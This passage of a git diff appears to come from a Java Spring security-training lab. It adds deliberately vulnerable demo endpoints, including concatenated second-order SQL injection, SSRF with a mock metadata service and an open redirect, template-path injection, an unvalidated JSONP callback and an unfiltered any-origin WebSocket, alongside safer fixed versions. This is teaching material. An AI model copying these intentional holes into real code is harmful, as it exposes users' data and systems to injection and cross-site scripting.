R.ok(resultSetToJsonArray(rs).toString()); + } + } + } + + String vulSql = "SELECT id, username, password FROM sqli WHERE username = '" + storedUsername + "'"; + log.info("二次注入漏洞触发,拼接查询: {}", vulSql); + try (Statement stmt = conn.createStatement(); + ResultSet rs = stmt.executeQuery(vulSql)) { + return R.ok(resultSetToJsonArray(rs).toString()); + } + } + + private JSONArray resultSetToJsonArray(ResultSet rs) throws SQLException { + JSONArray jsonArray = new JSONArray(); + while (rs.next()) { + JSONObject jsonObject = JSONUtil.createObj(); + jsonObject.put("id", rs.getString("id")); + jsonObject.put("username", rs.getString("username")); + jsonObject.put("password", rs.getString("password")); + jsonArray.put(jsonObject); + } + return jsonArray; + } + } diff --git a/src/main/java/top/whgojp/modules/sqli/controller/MyBatisController.java b/src/main/java/top/whgojp/modules/sqli/controller/MyBatisController.java index 0d7160d..5aa155e 100644 --- a/src/main/java/top/whgojp/modules/sqli/controller/MyBatisController.java +++ b/src/main/java/top/whgojp/modules/sqli/controller/MyBatisController.java @@ -10,6 +10,7 @@ import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.CheckUserInput; import top.whgojp.modules.sqli.entity.Sqli; import top.whgojp.modules.sqli.service.SqliService; @@ -34,6 +35,8 @@ public class MyBatisController { @Autowired private SqliService sqliService; + @Autowired + CheckUserInput checkUserInput; Logger log = LoggerFactory.getLogger(JdbcController.class); @GetMapping("") @@ -64,11 +67,17 @@ public R safe1( log.info(message); return R.ok(message); case "delete": - rowsAffected = sqliService.nativeDelete(Integer.valueOf(id)); + if (id == null) { + return R.error("id不能为空!"); + } + rowsAffected = sqliService.nativeDelete(id); message = (rowsAffected > 0) ? "数据删除成功" : "数据删除失败 用户ID:" + id + " 不存在!"; log.info(message); return R.ok(message); case "update": + if (id == null) { + return R.error("id不能为空!"); + } rowsAffected = sqliService.nativeUpdate(new Sqli(id, username, password)); message = (rowsAffected > 0) ? "数据更新成功" : "数据更新失败 用户ID不存在!"; log.info(message); @@ -121,18 +130,30 @@ public R safe2( return R.ok(message); case "delete": //这里删除数据使用自定义代码 - rowsAffected = sqliService.customDelete(Integer.valueOf(id)); + if (id == null) { + return R.error("id不能为空!"); + } + rowsAffected = sqliService.customDelete(id); message = (rowsAffected > 0) ? "数据删除成功" : "数据删除失败 用户ID:" + id + " 不存在!"; log.info(message); return R.ok(message); case "update": //使用MyBatis注解 - rowsAffected = sqliService.customUpdate(new Sqli(Integer.valueOf(id), username, password)); + if (id == null) { + return R.error("id不能为空!"); + } + rowsAffected = sqliService.customUpdate(new Sqli(id, username, password)); message = (rowsAffected > 0) ? "数据更新成功" : "数据更新失败 用户ID不存在!"; log.info(message); return R.ok(message); case "select": - final Sqli user = sqliService.customSelect(Integer.valueOf(id)); + if (id == null) { + return R.error("id不能为空!"); + } + final Sqli user = sqliService.customSelect(id); + if (user == null) { + return R.ok("用户ID不存在!"); + } message = "查询成功,用户名:" + user.getUsername() + " 密码:" + user.getPassword(); return R.ok(message); default: @@ -167,6 +188,10 @@ public R special1OrderBy( sqlis = sqliService.orderByPrepareStatement(field); break; case "writeList": + if (!checkUserInput.checkSqlWhiteList(field)) { + log.error("field字段不合法!field:" + field); + return R.error("field字段不合法!"); + } sqlis = sqliService.orderByWriteList(field); break; default: @@ -246,8 +271,11 @@ public R special3In( sqlis = sqliService.inPrepareStatement(scope); break; case "Foreach": - - sqlis = sqliService.inSafeForeach(parseInputToList(scope)); + List idList = parseInputToList(scope); + if (idList.isEmpty()) { + return R.error("scope中没有合法整数ID!"); + } + sqlis = sqliService.inSafeForeach(idList); break; default: return R.error("type字段有误:传输数据异常,请检查^_^"); @@ -262,6 +290,9 @@ public R special3In( public static List parseInputToList(String input) { List resultList = new ArrayList<>(); + if (input == null || input.trim().isEmpty()) { + return resultList; + } // 切割字符串并转换为整数 String[] parts = input.split(","); diff --git a/src/main/java/top/whgojp/modules/sqli/entity/HibernateSqli.java b/src/main/java/top/whgojp/modules/sqli/entity/HibernateSqli.java new file mode 100644 index 0000000..15e0522 --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/entity/HibernateSqli.java @@ -0,0 +1,20 @@ +package top.whgojp.modules.sqli.entity; + +import lombok.Data; +import javax.persistence.*; + +@Data +@Entity +@Table(name = "sqli") +public class HibernateSqli { + + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) + private Integer id; + + @Column(name = "username") + private String username; + + @Column(name = "password") + private String password; +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/entity/Hsqli.java b/src/main/java/top/whgojp/modules/sqli/entity/Hsqli.java deleted file mode 100644 index a5d6949..0000000 --- a/src/main/java/top/whgojp/modules/sqli/entity/Hsqli.java +++ /dev/null @@ -1,30 +0,0 @@ -package top.whgojp.modules.sqli.entity; - -import io.swagger.annotations.ApiModel; -import io.swagger.annotations.ApiModelProperty; -import lombok.AllArgsConstructor; -import lombok.Data; - -import javax.persistence.*; - -/** - * @description Hibernate 实体类 - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/8/5 17:18 - */ -@Entity -@Data -@Table(name = "sqli") -@ApiModel(value = "SQL注入测试表",description = "sql injection test table for mybatis") -public class Hsqli { - @Id - @GeneratedValue(strategy = GenerationType.IDENTITY) - @ApiModelProperty(value = "用户ID",required = true) - private Long id; - - @ApiModelProperty(value = "用户名",example = "whgojp") - private String username; - @ApiModelProperty(value = "密码",example = "12345") - private String password; -} diff --git a/src/main/java/top/whgojp/modules/sqli/entity/JpaSqli.java b/src/main/java/top/whgojp/modules/sqli/entity/JpaSqli.java new file mode 100644 index 0000000..3d474aa --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/entity/JpaSqli.java @@ -0,0 +1,16 @@ +package top.whgojp.modules.sqli.entity; + +import lombok.Data; +import javax.persistence.*; + +@Data +@Entity +@Table(name = "sqli") +public class JpaSqli { + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) + private Long id; + + private String username; + private String password; +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/entity/Sqli.java b/src/main/java/top/whgojp/modules/sqli/entity/Sqli.java index 1c10692..5909f86 100644 --- a/src/main/java/top/whgojp/modules/sqli/entity/Sqli.java +++ b/src/main/java/top/whgojp/modules/sqli/entity/Sqli.java @@ -4,17 +4,20 @@ import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; -import java.io.Serializable; - import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.AllArgsConstructor; import lombok.Data; +import javax.persistence.*; +import java.io.Serializable; + /** * * @TableName sqli */ +@Entity +@Table(name = "sqli") @TableName(value ="sqli") @Data @AllArgsConstructor @@ -23,6 +26,8 @@ public class Sqli implements Serializable { /** * */ + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) @TableId(type = IdType.AUTO) @ApiModelProperty(value = "用户ID",required = true) private Integer id; @@ -30,15 +35,20 @@ public class Sqli implements Serializable { /** * 用户名 */ - @ApiModelProperty(value = "用户名",example = "whgojp") + @Column(name = "username") + @ApiModelProperty(value = "用户名",example = "test") private String username; /** * 密码 */ + @Column(name = "password") @ApiModelProperty(value = "密码",example = "12345") private String password; @TableField(exist = false) private static final long serialVersionUID = 1L; + + public Sqli() { + } } \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/repository/JpaSqliRepository.java b/src/main/java/top/whgojp/modules/sqli/repository/JpaSqliRepository.java new file mode 100644 index 0000000..b8124ae --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/repository/JpaSqliRepository.java @@ -0,0 +1,22 @@ +package top.whgojp.modules.sqli.repository; + +import org.springframework.data.jpa.repository.JpaRepository; +import org.springframework.data.jpa.repository.Query; +import org.springframework.data.repository.query.Param; +import top.whgojp.modules.sqli.entity.JpaSqli; + +import java.util.List; + +public interface JpaSqliRepository extends JpaRepository { + + // 安全的方法:使用方法命名约定 + List findByUsername(String username); + + // 安全的方法:使用@Query注解和参数绑定 + @Query("SELECT j FROM JpaSqli j WHERE j.username = :username") + List findUsersByUsername(@Param("username") String username); + + // 不安全的方法:使用原生SQL + @Query(value = "SELECT * FROM jpasqli WHERE username = ?1", nativeQuery = true) + List findUsersByUsernameNative(String username); +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/service/HsqliService.java b/src/main/java/top/whgojp/modules/sqli/service/HsqliService.java deleted file mode 100644 index 61dae36..0000000 --- a/src/main/java/top/whgojp/modules/sqli/service/HsqliService.java +++ /dev/null @@ -1,11 +0,0 @@ -//package top.whgojp.modules.sqli.service; -// -///** -// * @description <功能描述> -// * @author: whgojp -// * @email: whgojp@foxmail.com -// * @Date: 2024/8/5 18:11 -// */ -//public interface HsqliService { -// -//} diff --git a/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java b/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java index 7a3bb49..6a864f0 100644 --- a/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java +++ b/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java @@ -10,10 +10,14 @@ import org.springframework.web.bind.annotation.*; import top.whgojp.common.utils.CheckUserInput; +import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; +import java.io.IOException; import java.io.InputStreamReader; +import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; +import java.nio.charset.StandardCharsets; /** * @description SSRF-服务端请求伪造 @@ -32,6 +36,22 @@ public String fileUpload() { return "vul/ssrf/ssrf"; } + @ApiOperation(value = "模拟内网元数据服务", notes = "用于SSRF场景演示,模拟攻击者通过服务端访问内网或云元数据接口") + @GetMapping("/internal/metadata") + @ResponseBody + public String internalMetadata() { + return "instance-id: i-javaseclab-ssrf\n" + + "role: internal-admin\n" + + "token: javaseclab-metadata-token\n" + + "source: 127.0.0.1"; + } + + @ApiOperation(value = "模拟跳转链路", notes = "用于演示SSRF修复时必须禁用自动跳转,或对每一跳重新校验") + @GetMapping("/redirect") + public void redirect(@RequestParam String target, HttpServletResponse response) throws IOException { + response.sendRedirect(target); + } + @ApiOperation(value = "漏洞场景:服务端请求伪造", notes = "原生漏洞场景,未做任何限制,可调用URLConnection发起任意请求,探测内网服务、读取文件") @GetMapping("/vul") @ResponseBody @@ -70,8 +90,11 @@ public String safe(@ApiParam(name = "url", value = "请求参数", required = tr } else { try { URL u = new URL(url); - URLConnection conn = u.openConnection(); // 这里以URLConnection作为演示 - BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream())); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setInstanceFollowRedirects(false); + conn.setConnectTimeout(3000); + conn.setReadTimeout(3000); + BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream(), StandardCharsets.UTF_8)); String content; StringBuilder html = new StringBuilder(); html.append("
    ");
    diff --git a/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java b/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java
    index 4acbd30..702b8b5 100644
    --- a/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java
    +++ b/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java
    @@ -5,18 +5,12 @@
     import io.swagger.annotations.ApiOperation;
     import io.swagger.annotations.ApiParam;
     import lombok.extern.slf4j.Slf4j;
    -import org.springframework.expression.EvaluationContext;
    -import org.springframework.expression.Expression;
    -import org.springframework.expression.ExpressionParser;
    -import org.springframework.expression.spel.standard.SpelExpressionParser;
    -import org.springframework.expression.spel.support.SimpleEvaluationContext;
    -import org.springframework.expression.spel.support.StandardEvaluationContext;
     import org.springframework.stereotype.Controller;
     import org.springframework.ui.Model;
     import org.springframework.web.bind.annotation.*;
    -import top.whgojp.common.utils.R;
     
     import javax.servlet.http.HttpServletResponse;
    +import java.io.IOException;
     import java.util.ArrayList;
     import java.util.Arrays;
     import java.util.List;
    @@ -46,11 +40,12 @@ public String vul1(@ApiParam(name = "para", value = "用户输入参数", requir
     //        return "vul/ssti/vul"; // 将参数 para 传递到模板 "vul/ssti/template"
     
             // 用户输入直接拼接到模板路径,可能导致SSTI(服务器端模板注入)漏洞
    -        return "/vul/ssti/" + para;
    +        return "vul/ssti/" + para;
         }
         @GetMapping("/vul2/{path}")
    -    public void vul2(@PathVariable String path) {
    -        log.info("SSTI注入:"+path);
    +    public String vul2(@PathVariable String path) {
    +        log.info("SSTI注入:" + path);
    +        return "vul/ssti/" + path;
         }
         @GetMapping("/vul3")
         public String vul3(@ApiParam(name = "para", value = "用户输入参数", required = true) @RequestParam String para, Model model) {
    @@ -62,16 +57,18 @@ public String vul3(@ApiParam(name = "para", value = "用户输入参数", requir
         public String safe1(@ApiParam(name = "para", value = "用户输入参数", required = true) @RequestParam String para, Model model) {
             List white_list = new ArrayList<>(Arrays.asList("vul", "ssti"));
             if (white_list.contains(para)){
    -            return "vul/ssti" + para;
    +            return "vul/ssti/" + para;
             } else{
                 return "common/401";
             }
         }
         @GetMapping("/safe2/{path}")
    -    public void safe2(@PathVariable String path, HttpServletResponse response) {
    -        log.info("SSTI注入:"+path);
    +    public void safe2(@PathVariable String path, HttpServletResponse response) throws IOException {
    +        log.info("SSTI注入:" + path);
    +        response.setContentType("text/plain;charset=UTF-8");
    +        response.getWriter().write("已跳过视图解析,输入路径:" + path);
         }
     
     
     
    -}
    \ No newline at end of file
    +}
    diff --git a/src/main/java/top/whgojp/modules/xss/config/XssWebSocketConfig.java b/src/main/java/top/whgojp/modules/xss/config/XssWebSocketConfig.java
    new file mode 100644
    index 0000000..e1e67f6
    --- /dev/null
    +++ b/src/main/java/top/whgojp/modules/xss/config/XssWebSocketConfig.java
    @@ -0,0 +1,18 @@
    +package top.whgojp.modules.xss.config;
    +
    +import org.springframework.context.annotation.Configuration;
    +import org.springframework.lang.NonNull;
    +import org.springframework.web.socket.config.annotation.EnableWebSocket;
    +import org.springframework.web.socket.config.annotation.WebSocketConfigurer;
    +import org.springframework.web.socket.config.annotation.WebSocketHandlerRegistry;
    +
    +@Configuration
    +@EnableWebSocket
    +public class XssWebSocketConfig implements WebSocketConfigurer {
    +    
    +    @Override
    +    public void registerWebSocketHandlers(@NonNull WebSocketHandlerRegistry registry) {
    +        registry.addHandler(new XssWebSocketHandler(), "/xss/websocket")
    +               .setAllowedOrigins("*"); // 故意允许所有源,用于演示XSS风险
    +    }
    +}
    diff --git a/src/main/java/top/whgojp/modules/xss/config/XssWebSocketHandler.java b/src/main/java/top/whgojp/modules/xss/config/XssWebSocketHandler.java
    new file mode 100644
    index 0000000..18488ef
    --- /dev/null
    +++ b/src/main/java/top/whgojp/modules/xss/config/XssWebSocketHandler.java
    @@ -0,0 +1,53 @@
    +package top.whgojp.modules.xss.config;
    +
    +import lombok.extern.slf4j.Slf4j;
    +import org.springframework.lang.NonNull;
    +import org.springframework.web.socket.CloseStatus;
    +import org.springframework.web.socket.TextMessage;
    +import org.springframework.web.socket.WebSocketSession;
    +import org.springframework.web.socket.handler.TextWebSocketHandler;
    +
    +import java.io.IOException;
    +import java.util.concurrent.CopyOnWriteArraySet;
    +
    +@Slf4j
    +public class XssWebSocketHandler extends TextWebSocketHandler {
    +    
    +    private static final CopyOnWriteArraySet sessions = new CopyOnWriteArraySet<>();
    +
    +    @Override
    +    public void afterConnectionEstablished(@NonNull WebSocketSession session) {
    +        sessions.add(session);
    +        log.info("WebSocket connection established - Current connections: {}", sessions.size());
    +        try {
    +            session.sendMessage(new TextMessage("Connected successfully"));
    +        } catch (IOException e) {
    +            log.error("Failed to send welcome message: {}", e.getMessage());
    +        }
    +    }
    +
    +    @Override
    +    protected void handleTextMessage(@NonNull WebSocketSession session, @NonNull TextMessage message) {
    +        log.info("Received message: {}", message.getPayload());
    +        // 故意不过滤消息内容,用于演示XSS风险
    +        broadcast(message);
    +    }
    +
    +    @Override
    +    public void afterConnectionClosed(@NonNull WebSocketSession session, @NonNull CloseStatus status) {
    +        sessions.remove(session);
    +        log.info("WebSocket connection closed - Current connections: {}", sessions.size());
    +    }
    +
    +    private void broadcast(TextMessage message) {
    +        for (WebSocketSession session : sessions) {
    +            try {
    +                if (session.isOpen()) {
    +                    session.sendMessage(message);
    +                }
    +            } catch (IOException e) {
    +                log.error("Failed to send message to session {}: {}", session.getId(), e.getMessage());
    +            }
    +        }
    +    }
    +}
    diff --git a/src/main/java/top/whgojp/modules/xss/controller/ActionEnterRewrite.java b/src/main/java/top/whgojp/modules/xss/controller/ActionEnterRewrite.java
    index cae747e..6c197b6 100644
    --- a/src/main/java/top/whgojp/modules/xss/controller/ActionEnterRewrite.java
    +++ b/src/main/java/top/whgojp/modules/xss/controller/ActionEnterRewrite.java
    @@ -14,10 +14,6 @@
     import javax.servlet.http.HttpServletRequest;
     import java.util.Map;
     
    -/**
    - * 描述:
    - * 创建人: 慌途L
    - */
     @Slf4j
     public class ActionEnterRewrite {
         private HttpServletRequest request;
    diff --git a/src/main/java/top/whgojp/modules/xss/controller/DomController.java b/src/main/java/top/whgojp/modules/xss/controller/DomController.java
    index d745015..e5034c8 100644
    --- a/src/main/java/top/whgojp/modules/xss/controller/DomController.java
    +++ b/src/main/java/top/whgojp/modules/xss/controller/DomController.java
    @@ -14,7 +14,7 @@
      * @Date: 2024/5/23 17:25
      */
     @Slf4j
    -@Api(value = "ReflectController", tags = "跨站脚本-Dom型XSS")
    +@Api(value = "DomController", tags = "跨站脚本-DOM型XSS")
     @Controller
     @CrossOrigin(origins = "*")
     @RequestMapping("/xss/dom")
    diff --git a/src/main/java/top/whgojp/modules/xss/controller/FileUtils.java b/src/main/java/top/whgojp/modules/xss/controller/FileUtils.java
    index d5ab2ec..9a63996 100644
    --- a/src/main/java/top/whgojp/modules/xss/controller/FileUtils.java
    +++ b/src/main/java/top/whgojp/modules/xss/controller/FileUtils.java
    @@ -11,48 +11,47 @@
     
     import java.io.File;
     import java.io.IOException;
    -import java.util.Random;
    +import java.util.UUID;
    +
     
    -/**
    - * 功能 : 上传文件工具类
    - * 创建人 : 慌途L
    - */
     @Slf4j
     public class FileUtils {
     
         public static String upLoadFile(MultipartFile file, String path) {
    -
    -        if(file.isEmpty()){
    +        if (file == null || file.isEmpty()) {
                 log.info("文件为空!");
                 return null;
             }
    +        
             String fileName = file.getOriginalFilename();
    -        int size = (int) file.getSize();
    -        log.info(fileName + "-->" + size);
    -
    -        // 取得文件的后缀名。
    -        String ext = fileName.substring(fileName.lastIndexOf(".") + 1).toUpperCase();
    -
    -        String newFileName =
    -                System.currentTimeMillis() / 1000 + new Random().nextInt(100000)+"." + ext;
    +        log.info("上传文件: {} - 大小: {}", fileName, file.getSize());
     
    -        //String path = "F:/test" ;
    -        File dest = new File(path + "/" + newFileName);
    -        if(!dest.getParentFile().exists()){ //判断文件父目录是否存在
    -            dest.getParentFile().mkdir();
    +        String ext = getFileExtension(fileName);
    +        String newFileName = generateUniqueFileName(ext);
    +        
    +        return saveFile(file, path, newFileName);
    +    }
    +    
    +    private static String getFileExtension(String fileName) {
    +        return fileName.substring(fileName.lastIndexOf(".") + 1).toUpperCase();
    +    }
    +    
    +    private static String generateUniqueFileName(String ext) {
    +        return UUID.randomUUID().toString() + "." + ext;
    +    }
    +    
    +    private static String saveFile(MultipartFile file, String path, String newFileName) {
    +        File dest = new File(path, newFileName);
    +        if (!dest.getParentFile().exists()) {
    +            dest.getParentFile().mkdirs();
             }
    +        
             try {
    -            file.transferTo(dest); //保存文件
    +            file.transferTo(dest);
                 return newFileName;
    -        } catch (IllegalStateException e) {
    -            // TODO Auto-generated catch block
    -            e.printStackTrace();
    -            return null;
             } catch (IOException e) {
    -            // TODO Auto-generated catch block
    -            e.printStackTrace();
    +            log.error("文件保存失败", e);
                 return null;
             }
         }
     }
    -
    diff --git a/src/main/java/top/whgojp/modules/xss/controller/JsonpController.java b/src/main/java/top/whgojp/modules/xss/controller/JsonpController.java
    new file mode 100644
    index 0000000..3c4a30f
    --- /dev/null
    +++ b/src/main/java/top/whgojp/modules/xss/controller/JsonpController.java
    @@ -0,0 +1,17 @@
    +package top.whgojp.modules.xss.controller;
    +
    +import org.springframework.web.bind.annotation.GetMapping;
    +import org.springframework.web.bind.annotation.RequestMapping;
    +import org.springframework.web.bind.annotation.RequestParam;
    +import org.springframework.web.bind.annotation.RestController;
    +
    +@RestController
    +@RequestMapping("/xss")
    +public class JsonpController {
    +    
    +    @GetMapping("/jsonp")
    +    public String handleJsonp(@RequestParam String callback) {
    +        // 故意不验证callback参数,直接拼接返回
    +        return callback + "(" + "{\"message\": \"Hello from JSONP\"}" + ");";
    +    }
    +}
    diff --git a/src/main/java/top/whgojp/modules/xss/controller/OtherController.java b/src/main/java/top/whgojp/modules/xss/controller/OtherController.java
    index ffc2778..e79a44b 100644
    --- a/src/main/java/top/whgojp/modules/xss/controller/OtherController.java
    +++ b/src/main/java/top/whgojp/modules/xss/controller/OtherController.java
    @@ -84,7 +84,7 @@ public R hackCookie(@RequestParam String cookie, HttpServletRequest request) {
         private UploadUtil uploadUtil;
     
         // 文件上传接口
    -    @ApiOperation(value = "漏洞场景:文件上传导致存储XSS", notes = "原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果")
    +    @ApiOperation(value = "漏洞场景:文件上传导致存储XSS", notes = "上传可被浏览器或预览服务解析的文件,后续访问文件时可能触发XSS")
         @RequestMapping("/vul1Upload")
         @ResponseBody
         @SneakyThrows
    @@ -110,6 +110,7 @@ public R vul1Upload(@RequestParam("file") MultipartFile file,
                     } catch (Exception e) {
                         return R.error("上传错误,请检查后重新上传:" + e.getMessage());
                     }
    +            // XML解析成功后继续落盘,便于演示“解析 + 可访问文件”组合场景。
                 case "html":
                 case "svg":
                 case "pdf":
    @@ -122,14 +123,14 @@ public R vul1Upload(@RequestParam("file") MultipartFile file,
                     return R.error(res);
             }
         }
    -    @ApiOperation(value = "漏洞场景:模版引擎解析导致存储XSS", notes = "")
    +    @ApiOperation(value = "漏洞场景:模板引擎不安全渲染导致XSS", notes = "th:utext会把内容作为HTML渲染,th:text会进行转义")
         @GetMapping("/vul2OtherTemplate")
    -    public String vul2OtherTemplate(@RequestParam("content") String content,
    +    public String vul2OtherTemplate(@RequestParam("payload") String payload,
                                               @RequestParam("type") String type, Model model) {
             if ("html".equals(type)) {
    -            model.addAttribute("html", content);
    +            model.addAttribute("html", payload);
             } else if ("text".equals(type)) {
    -            model.addAttribute("text", content);
    +            model.addAttribute("text", payload);
             }
             return "vul/xss/other";
         }
    diff --git a/src/main/java/top/whgojp/modules/xss/controller/PostMessageController.java b/src/main/java/top/whgojp/modules/xss/controller/PostMessageController.java
    new file mode 100644
    index 0000000..e5d8e82
    --- /dev/null
    +++ b/src/main/java/top/whgojp/modules/xss/controller/PostMessageController.java
    @@ -0,0 +1,20 @@
    +package top.whgojp.modules.xss.controller;
    +
    +import org.springframework.stereotype.Controller;
    +import org.springframework.web.bind.annotation.GetMapping;
    +import org.springframework.web.bind.annotation.RequestMapping;
    +
    +@Controller
    +@RequestMapping("/xss/postmessage")
    +public class PostMessageController {
    +    
    +    @GetMapping("/sender")
    +    public String sender() {
    +        return "vul/xss/postmessage/sender";
    +    }
    +
    +    @GetMapping("/receiver")
    +    public String receiver() {
    +        return "vul/xss/postmessage/receiver";
    +    }
    +}
    diff --git a/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java b/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java
    index 2e0b7de..6266dd4 100644
    --- a/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java
    +++ b/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java
    @@ -12,11 +12,11 @@
     import org.thymeleaf.util.StringUtils;
     import top.whgojp.common.utils.CheckUserInput;
     import top.whgojp.common.utils.R;
    +import top.whgojp.modules.xss.controller.base.XssBaseController;
     
     import javax.servlet.http.Cookie;
     import javax.servlet.http.HttpServletRequest;
     import javax.servlet.http.HttpServletResponse;
    -import javax.servlet.http.HttpUtils;
     import java.util.regex.Matcher;
     import java.util.regex.Pattern;
     
    @@ -27,65 +27,57 @@
      * @Date: 2024/5/20 16:55
      */
     @Slf4j
    -@Api(value = "ReflectController", tags = "跨站脚本-反射型XSS")
    +@Api(value = "ReflectController", tags = "跨站脚本 - 反射型XSS")
     @Controller
     @CrossOrigin(origins = "*")
     @RequestMapping("/xss/reflect")
    -public class ReflectController {
    +public class ReflectController extends XssBaseController {
    +
         @Autowired
         private CheckUserInput checkUserInput;
    -    @RequestMapping("")
    -    public String xssReflect() {
    -        return "vul/xss/reflect";
    -    }
    -    @RequestMapping("/vul")
    -    public String xssReflectVul() {
    -        return "vul/xss/reflect-vul";
    -    }
    -    @RequestMapping("/safe")
    -    public String xssReflectSafe() {
    -        return "vul/xss/reflect-safe";
    -    }
     
    +    @RequestMapping("/{view}")
    +    public String reflect(@PathVariable String view) {
    +        return isValidView(view) ? "vul/xss/reflect/" + view : "error/404";
    +    }
     
    -    @ApiOperation(value = "漏洞场景:GET型与POST型", notes = "原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果")
    +    @ApiOperation(value = "漏洞场景:GET型与POST型", notes = "原生漏洞场景,未加任何过滤,Controller接口返回JSON类型结果。JSON本身通常不会直接触发XSS,但前端不安全渲染JSON字段时可能触发")
         @RequestMapping("/vul1")
         @ResponseBody
    -    @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
    -    public R vul1(@ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content) {
    -        log.info("反射型XSS:" + content);
    -        return R.ok(content);
    +    @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
    +    public R vul1(@ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload) {
    +        return handleXssPayload(payload, "反射型-GET/POST型", false);
         }
     
         @ApiOperation(value = "漏洞场景:String", notes = "原生漏洞场景,未加任何过滤,Controller接口返回String")
         @GetMapping("/vul2")
         @ResponseBody
    -    @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
    -    public String vul2(@ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content) {
    -
    -        return content;
    +    @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
    +    public String vul2(@ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload) {
    +        log.info("[+]XSS-反射型-String型:" + payload);
    +        return payload;
         }
     
         @SneakyThrows
    -    @ApiOperation(value = "漏洞场景:Content-Type问题", notes = "Tomcat内置HttpServletResponse,Content-Type导致反射XSS")
    +    @ApiOperation(value = "漏洞场景:Content-Type问题", notes = "响应Content-Type决定浏览器解析方式,不可信内容以text/html返回时可能导致反射XSS")
         @GetMapping("/vul3")
         @ResponseBody
         @ApiImplicitParams({
                 @ApiImplicitParam(name = "type", value = "类型", dataType = "String", paramType = "query", dataTypeClass = String.class),
    -            @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
    +            @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
         })
    -    public void vul3(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content, HttpServletResponse response) {
    +    public void vul3(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload, HttpServletResponse response) {
             switch (type) {
                 case "html":
    -                response.getWriter().print(content);
    -                log.info("反射型XSS,Content-Type:text/html;charset=utf-8:" + content);
    +                response.getWriter().print(payload);
    +                log.info("[+]XSS-反射性-Content-Type:text/html;charset=utf-8:" + payload);
                     response.setContentType("text/html;charset=utf-8");
                     response.getWriter().flush();
                     break;
                 case "plain":
    -                log.info("反射型XSS,Content-Type:text/plain;charset=utf-8:" + content);
    -                response.getWriter().print(content);
    -                response.setContentType("text/plain;charset=utf-8");    // response默认返回Content-Type类型是text/plain
    +                log.info("[+]XSS-反射性-Content-Type:text/plain;charset=utf-8:" + payload);
    +                response.getWriter().print(payload);
    +                response.setContentType("text/plain;charset=utf-8");
                     response.getWriter().flush();
                     break;
                 default:
    @@ -95,44 +87,51 @@ public void vul3(@ApiParam(name = "type", value = "类型", required = true) @Re
                     break;
             }
         }
    +
         private static final String WHITELIST_REGEX = "^[a-zA-Z0-9_\\s]+$";
         private static final Pattern pattern = Pattern.compile(WHITELIST_REGEX);
     
    -    @ApiOperation(value = "安全代码:用户输入验证和过滤", notes = "对用户输入的数据进行验证和过滤,确保不包含恶意代码。使用白名单过滤,只允许特定类型的输入,如纯文本或指定格式的数据")
    -    @RequestMapping("/safe1")
    +    @ApiOperation(value = "安全代码:用户输入验证和过滤", notes = "使用白名单限制输入格式,适合约束字段类型;最终仍需根据输出位置进行上下文编码")
    +    @GetMapping("/safe1")
         @ResponseBody
         @ApiImplicitParams({
                 @ApiImplicitParam(name = "type", value = "类型", dataType = "String", paramType = "query", dataTypeClass = String.class),
                 @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
         })
    -    public R safe1(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content) {
    +    public R safe1(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload) {
             String filterContented = "";
             switch (type) {
                 case "frontEnd":
    -                filterContented = content; // 前端过滤后传递过来 后端未进行处理(同样存在安全问题)
